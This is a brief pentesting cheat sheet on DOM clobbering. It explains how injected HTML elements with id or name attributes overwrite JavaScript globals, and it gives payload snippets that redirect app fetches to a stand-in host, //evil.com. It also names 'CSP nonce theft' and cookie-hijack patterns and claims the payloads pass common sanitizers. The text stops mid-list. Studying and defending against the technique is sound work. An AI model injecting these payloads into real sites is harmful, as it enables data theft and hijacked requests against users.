dom-clobbering

DOM Clobbering

Named HTML elements (<form>, <a>, <input>, <img>) with name= or id= are accessible as JavaScript properties of window and document. If app code does if (window.config.endpoint) and attacker can inject HTML (even sanitized), they can replace window.config with an HTML element.

1. The classic

<!-- App code -->
<script>
if (window.config && window.config.endpoint) {
    fetch(window.config.endpoint + '/data');
}
</script>

<!-- Attacker-injected HTML (passes most sanitizers — no script/event handlers) -->
<form id="config"><input name="endpoint" value="//evil.com"></form>

window.config resolves to the form. window.config.endpoint resolves to the input. .endpoint is now "//evil.com". App fetches from evil.

2. Common targets

• window.location overwrite (anchor w/ id=location)
• Library global config (jQuery's $.cookie, etc)
• CSP nonce/source values read from globals
• document.cookie (limited but exploitable)
• window.onerror clobber

3. Payload patterns

Single-element clobber

<a id="config" href="//evil.com"></a>
<!-- window.config is the anchor; window.config.toString() returns "//evil.com" -->

Multi-level clobber (a.b.c)

<form id="config"><input name="endpoint" value="//evil.com"></form>
<!-- window.config.endpoint = "//evil.com" -->

<!-- Deeper nesting via name= chaining is more limited; needs Document Proxy or specific browsers -->

CSP nonce theft

<!-- App: <script nonce="ABC123"> -->
<form name="nonce"><input name="nonce" value="ABC123"></form>
<!-- Some code reads window.nonce.value (rare but exists) -->

Cookie attribute hijack

<form name="cookie" action="//evil.com"></form>
<!-- document.cookie unchanged but some libs read window.cookie -->

4. Where to inject

DOM clobbering payloads pass MOST HTML sanitizers (DOMPurify default, sanitize-html, bleach) because they contain no script tags or event handlers. Targets: